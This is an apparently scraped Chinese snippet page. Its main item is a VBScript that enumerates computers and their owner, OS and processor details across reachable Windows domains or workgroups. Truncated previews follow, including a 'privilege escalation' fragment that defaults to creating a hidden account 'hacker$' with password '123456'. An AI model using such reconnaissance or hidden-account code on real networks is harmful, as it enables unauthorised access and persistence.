vbs列出内网的中计算机（工作组也可以）

'Handle Errors 
On Error Resume Next 
'Get the provider object 
Set prov = GetObject("WinNT:") 

'Examine the available domains the provider can reach 
For each dom in prov 

'Examine the objects in the domain and check for Computer objects 
For each o in dom 
If o.Class = "Computer" Then 

'Display properties of the Computer 
WScript.Echo o.Class & " " & o.Name 
WScript.Echo " Owner: " & o.Owner 
WScript.Echo " Division: " & o.Division 
WScript.Echo " OperatingSystem: " & o.OperatingSystem 
WScript.Echo " OS Version: " & o.OperatingSystemVersion 
WScript.Echo " Processor: " & o.Processor 
WScript.Echo " ProcessorCount: " & o.ProcessorCount 

End If 

Next 
Next 

vbs 注册表操作类代码
OptionExplicitConstWBEM_MAX_WAIT=&H80'RegistryHivesConstHKEY_LOCAL_MACHINE=&H80000002ConstHKEY_CURRENT_USER=&H80000001ConstHKEY_CLASSES_ROOT=&H80000000ConstHKEY_USERS=&H80000003ConstHKEY_CURRENT_CONFI

提权vbs代码
onerrorresumenextdimusername,password:IfWscript.Arguments.CountThen:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":endif:setwsnetwork=CreateObjec

利用VBS发送短信的实现代码(通过飞信)
光看标题就已经觉得很牛逼了，听说过可以用PHP发送短信（飞信），也使用过Python实现的PyFetion发送过短信（飞信）。我也看过对应的PHP和Python源码，实